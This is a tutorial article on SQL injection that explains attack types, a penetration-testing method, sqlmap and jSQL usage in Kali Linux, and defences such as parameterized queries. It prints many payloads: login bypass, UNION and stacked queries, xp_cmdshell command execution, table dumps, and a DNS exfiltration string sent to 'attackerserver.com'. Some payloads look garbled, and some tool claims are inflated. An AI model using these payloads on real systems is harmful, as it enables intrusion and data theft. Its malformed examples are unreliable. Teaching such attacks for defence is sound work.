Mastering SQL Injection Attacks and Defense using Kali Linux

SQL injection (SQLi) remains one of the most dangerous web application vulnerabilities. According to Veracode‘s State of Software Security Report, SQLi constituted over 20% of all reported flaws in 2020. Attackers leverage it to unauthorizedly access, manipulate, and extract sensitive application data.

This comprehensive guide will cover different facets of SQL injection including attack methodology, exploit types, using SQLi tools in Kali Linux and key prevention techniques – all explained from an expert developer‘s lens.

Anatomy of a SQL Injection Attack

Let‘s first understand how SQL injection works at a fundamental level.

SQL databases form the backend data layer for most custom web apps. The basic Application flow is:

1. User sends input through frontend code
2. Input gets passed into a SQL query
3. Query executes on the database
4. Database returns requested data

Consider a sample login request:

POST /login HTTP/1.1
Host: banksite.com 

username=John&password=P@ssword1

The server code constructs a SQL query with the POST data:

"SELECT * FROM users WHERE uname=‘"+ username +"‘ AND pwd=‘"+ password +"‘ "

This query is then executed on the database to authenticate the user.

The vulnerability arises when the user input is not sanitized before placing it into the query. By inserting specially crafted payloads, attackers can modify query logic to bypass authentication, extract data, invoke commands and more.

For example, by entering a single quote in username field, one can break query syntax and cause errors:

POST /login HTTP/1.1 
Host: banksite.com

username=‘&password=P@ssword1

This results in the malformed query:

"SELECT * FROM users WHERE uname=‘‘‘ AND pwd=‘P@ssword1‘ " 

Instead of quotes, sub queries can also be injected to always make the WHERE clause return true:

POST /login HTTP/1.1
Host: banksite.com  

username=‘ OR 1=1-- &password=P@ssword1

"SELECT * FROM users WHERE uname=‘‘ OR 1=1--" AND pwd=‘P@ssword1‘ "

Here the -- acts as comment dropping the remaining query. This logs the user in as admin without needing valid credentials!

This is just a glimpse of the damage potential. Next we‘ll understand the common SQL injection types and attacks in detail.

SQL Injection Attack Types

There are two main classifications of SQLi attacks:

1. In-band SQLi

In-band SQLi exploits utilize the same communication channel to launch the attack as well as retrieve results. For e.g. injecting payload in a input field and the output getting displayed on the webpage.

Some popular techniques include:

Union Based SQL Injection

This technique leverages UNION SQL operator to combine injected query with original query. An example login bypass:

POST /login HTTP/1.1 
Host: site.com

username=‘ UNION SELECT ‘admin‘-- &password=P@ssword1 

"SELECT * FROM users WHERE uname=‘‘ UNION SELECT ‘admin‘--‘ AND pwd=‘P@ssword1"  

This combines admin user with orginal query to gain access.

Other variants like UNION ALL can also be used.

Error Based SQL Injection

Here payloads are crafted to trigger errors from database revealing information. E.g.

POST /store HTTP/1.1
Host: shop.com

productId=5 AND (SELECT 1 FROM users WHERE username=‘admin‘)--

If admin exists, no error. Else database throws error showing admin does not exist.

Other responses like delayed responses can also be used instead of errors.

Stacked SQL Injection

Multiple SQL statements are chained together by injecting semi-colons. Example:

GET /user.php?id=1; INSERT admin 2 INTO users;--    

This will insert a new admin user by appending an INSERT statement.

Several statements can be stacked this ways executing one after the other.

2. Out-of-band SQL Injection

Out-of-band SQLi uses an alternate channel to retrieve injected data. For instance, triggering DNS lookup requests or establishing direct database connections via telnet/SSH tunnels. This allows bypassing restrictive firewall rules.

Some examples below:

DNS exfiltration

Blind SQL payloads can exfiltrate internal server data by forcing the database to make external DNS requests with the data as a subdomain. Eg:

POST /login HTTP/1.1
Host: site.com  

username=admin‘+UNION+SELECT+ExtractValue(rand(),concat(Version(),‘.attackerserver.com‘))+FROM+users--+&password=P@ssword1

This conjugates and extracts SQL version, encodes as a subdomain to send to the attacker DNS server at attackerserver.com. Useful for blind injection vectors with no visual feedback.

Command Execution

UsingCmds like xp_cmdshell attackers can execute remote commands on underlying OS. Payloads craft input values to trigger arbitrary command execution via the database server.

productId=4; EXEC xp_cmdshell ‘dir C:\Users\Admin\Documents\‘--

Files from sensitive Document folder get dumped to attacker.

Several other methods exist leveraging alternate protocols and tunelling.

Next we‘ll see how SQLi works across different languages.

SQL Injection in Different Languages

SQL injection manifestation varies based on application coding language and frameworks used:

Language/Framework	SQLi Vector	Example Vulnerable Code
PHP	Direct embedding of user input in SQL queries	"SELECT * FROM users WHERE uname=‘"+$uname+"‘"
Java	Concatenating input data with query	sql = "SELECT * FROM user WHERE id = "+ input_id;
Node.js	Chaining user values without validation	"SELECT * FROM users WHERE id = "+req.params.id
.NET (C#)	Interpolating raw user input into query	$"SELECT * FROM products WHERE name = {userInput}"
Ruby on Rails	User data directly rendered into query strings	Product.where("name = ‘#{params[‘name‘]}‘")

The common theme is untrusted data gets assembled into the SQL query which runs with application level privileges.

Let‘s now look at the SQLi penetration testing methodology followed.

SQL Injection Penetration Testing Methodology

Conducting a successful SQLi audit involves sequentially progressing through several attack phases:

Mapping Attack Surface

The first step is identifying all user inputs accepted by the application which can potentially enter untrusted data into the database layer. These include:

• Form fields on pages like login, search etc.
• URL parameters e.g. /user.php?id=2
• POST data
• Cookies
• HTTP headers like User-Agent

Tools like Burpsuite Scanner and Acunetix can automatically detect SQLi entry points.

Detecting SQL Injection

Next phase detects actual vulnerabilities by inserting malicious SQL payloads which elicit difference responses. Some example tests:

Input: admin‘ # Comments rest  
Input: admin‘ OR ‘1‘=‘1    
Input: admin‘; WAITFOR DELAY ‘0:0:10‘--

Based on error pages, response delays and side-channel data; vulnerable parameters are flagged.

Fingerprinting Database

Before launching full attacks, further enumeration of the backend database, tables and columns is needed. SQLMAP tool has extensive fingerprinting capabilities including:

--banner                    Retrieve DBMS banner
--current-user              Get DB user 
--is-dba                    Test DBA privileges   
--users                     Enumerate DB Users
--dbs                       List all databases     

Additional metadata like DB schema, triggers, stored procedures etc. can also be discovered.

Extracting Data

With database specifics available, the actual injection attack occurs extracting sensitive information. Excellent SQL cheat sheets like this from PortSwigger help in crafting right payloads. Some common queries include:

• Union based injection returning extra result

‘ UNION SELECT credit_card FROM users WHERE ‘1‘ = ‘1

• Writing files to server

‘; CREATE TABLE backup AS SELECT * FROM users; COPY backup TO ‘/tmp/data.bin‘; --

• Subqueries replacing logic

‘ OR 1 IN (SELECT 1 WHERE user_id = 1)--

• Blind timing based extraction

‘; IF (SELECT length(password) FROM admin WHERE id=‘1‘) > 10 WAITFOR DELAY ‘0:0:10‘--

If delay occurs, password is > 10 chars proving useful for info enumeration.

And several other methods…

With so many tactics, tools like SQLMAP mentioned next fully automate exploitation.

SQL Injection Tools in Kali Linux

Kali Linux comes with a wide array of tools specifically built for SQLi discovery, fingerprinting and exploitation.

Let‘s look at some powerful ones:

SQLMap

The most comprehensive open source SQL injection tool with full spectrum of features:

• Detection engine – Extremely reliable SQLi detector supporting different payload types and injection channels.

• Database Fingerprinting – Accurately enumerates details through banner grabbing, error messages etc. Supports 2000+ database types.

• Data extraction – Powerful data grabbing modules using advanced query injection attacks like UNION and stacked queries.

• Tampering and exploitation – Modules allowing attackers to enumerate or modify database structure, execute commands on underlying Operating System and more.

SQLMAP provides over 180+ options and switches for complete SQLi pentesting without needing manual coding skills.

Usage basics:

sqlmap -u "http://testsite.com/search.php?id=1" --dbs    (Get DB names)
sqlmap -u "http://testsite.com/search.php?id=1" -D site-db --tables (List tables)   
sqlmap -u "http://testsite.com/search.php?id=1" -D site-db -T users --dump (Dump user table data)  

jSQL Injection

jSQL is a Java based tool with good GUI and automation capabilities:

It detects and exploits SQLi vulnerabilities by sequentially trying different injection vectors and capturing app responses to fingerprint the database.

Core capabilities:

• Powerful crawling supporting GET/POST parameters
• Manual and automated detection of injection points
• Support for authorization evasion via parameter pollution, custom headers etc.
• Retrieving consolidated database metadata – columns, types, relations etc.
• Analyzing vulnerable memory areas and dumping process data
• Powerful RCE payloads

Despite being a lightweight tool, jSQL provides enterprise-scale SQLi assessment capabilities.

Together SQLMAP and jSQL form a very potent combination of CLI and GUI driven SQLi security testing.

Now that we have covered offense, let‘s look at defense strategies.

SQL Injection Prevention Techniques

SQLi attacks can be thwarted by implementing security at code, architecture and infrastructure levels:

1. Input Validation

All user controllable input data must be strictly validated before injecting into queries.

//Node.js Validator Example

const validator = require(‘validator‘); 

router.get(‘/product‘, function (request, response){

    var input = request.query.id;

    //Remove special chars & escaping 
    input = validator.escape(input);  

    //Validate int or not    
    if(validator.isInt(input)){
         //Safe to use in SQL query 
    }
    else{
         throw "Invalid Input";
    } 

});

This whitelist based validation ensures only integer product ids can enter code.

2. Parameterized Queries / Prepared Statements

Parameterized queries separate query logic and parameters completely making it impossible for SQLi. Values are passed in safely as parameters without ability to alter SQL code.

//C# Example 

string uname = getInputUsername(); //Untrusted
int age = getInputAge();

using(var cmd = new SqlCommand("SELECT * FROM users WHERE name = @uname AND age = @age"))
{
   cmd.Parameters.AddWithValue("@uname", uname);
   cmd.Parameters.AddWithValue("@age", age);

   cmd.ExecuteScalar();  
}

The @uname var is just a placeholder for value supplied safely avoiding any injection risks.

3. Least Privilege Access

Database accounts should follow principle of least privilege with only essential access assigned. In case an attacker exploits SQLi, impact can be limited by restricting account rights.

4. Security Layers

Additional protections like:

• Web application firewalls
• Intrusion detection systems
• File integrity monitoring
• Centralized log auditing

Provide added layers significantly enhancing security posture.

Conclusion

SQL injection continues to plague web applications due to the intrinsic complexity in validating dynamic user input spread across layers – UI, code and database. Kali Linux provides a very comprehensive toolkit to assess SQLi risks through automated scanners, exploitation tools like SQLMap and meticulous manual testing.

By taking a layered approach – combining secure coding practices like input validation, parameterized queries along with added security controls, SQLi vulnerability surface can be drastically reduced though not eliminated. The key is constant vigilance through automation, testing and threat modeling to stay ahead of motivated attackers.